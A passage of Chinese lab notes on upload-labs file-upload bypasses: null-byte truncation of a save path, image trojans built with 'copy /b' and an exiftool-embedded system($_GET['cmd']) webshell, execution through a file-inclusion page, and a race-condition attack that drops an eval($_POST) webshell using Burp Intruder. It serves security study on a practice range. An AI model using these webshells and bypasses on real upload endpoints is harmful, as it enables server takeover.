继续总结,烧脑!
目录:
0×01:白名单限制
0×02:内容限制
0×03:竞争条件
0×01 白名单限制
指名单内都是允许上传的格式。但是试验前,我们需要在php.ini里关闭magic_quotes_gpc函数。
常见的的截断:%00截断 和 0×00截断
在upload-labs的第12关里,
先看一下源码:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
在 :$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
img_path是拼接而成的,我们可以使用截断。
因为是GET方式所以我们用%00截断。因为get传参 的参数 会被 服务器进行URL解码,%00被URL解码之后就是ascii 0。
抓包。
在这里进行%00截断
上传成功。
而靶场的第13关,提交的方式为POST,post不会像get对%00进行自动解码,所以需要在16进制中进行修改00。
在然后在Hex中查看机器码
这样就截断成功了。
0×02 内容限制
查看源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
检测原理:通过检测文件的前两个字节判断文件类型,满足即可上传。
我们可以直接上传图片马。
图片吗制作方法:copy normal.jpg /b + shell.php /a webshell.jpg
或者 exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' 1.jpg
用方法一制作,
查看图像给的路径却连不上去,
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
在include.php里,对我们传的文件进行PHP解析。所以我我们需要把路径改一下,
这个需要结合文件包含漏洞,连接成功。
0×03 竞争条件
文件上传过程
竞争条件原理
网站逻辑:
1、网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件。
2、网站允许上传任意文件,但是如果不是指定类型,那么使用unlink删除文件。
文件上传成功后和删除文件之间存在短的时间差。攻击者可以利用这个时间差完成竞争条件的上传漏洞攻击。并行服务器会并发执行多个线程,这就给了不法分子用条件竞争来绕过防护的机会。
攻击者先上传一个图片马shell.php,shell.php的内容是生成另一个图片马webshell.php。
shell.php的代码内容:
<?php
fputs(fopen('../webshell.php','w'),'<?php @eval($_POST['a']);?>');
?>
通过写的方式将<?php @eval($_POST['a']);?>写近webshell.php。这就利用时间差上传了webshell。
靶场第18关源码展示:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
我们先上传一个文件看其被存起来的路径。
现在我们只需要,上传1.php,用burpsuit 拦截数据包,然后将数据包放在burpsuit的爆破模块中。
然后访问http://localhost/upload-labs/upload/shell.php
同样,将请求拦截,放在burpsuit的爆破模块中。最后,在爆破模块中,让两者同时不断进行,等待那关键的一瞬间就可以了。
具体操作:
1.对两者都进行抓包,右键,send to intruder
2.首先 clear $ ,然后在payload中选择 Nullpayload,然后设置Generate 10000表示没有payload,上传一万次,然后在Option中,设置Number of thread线程数为200
武侠中高手对决,输赢只在一刹那。 在那短短的一刹那,假如你上传的文件,是个 大马套小马呢?大马虽死,但同源文件夹中,小马犹生。一个网站便在弹指一挥间被拿下了。
但是这个需要用到多线程burp suite专业版才会有多线程,我们还需要下载专业版。
肝了n个小时。。。还是没成功🤔🤔🤔🤔🤔🤔
仍需努力!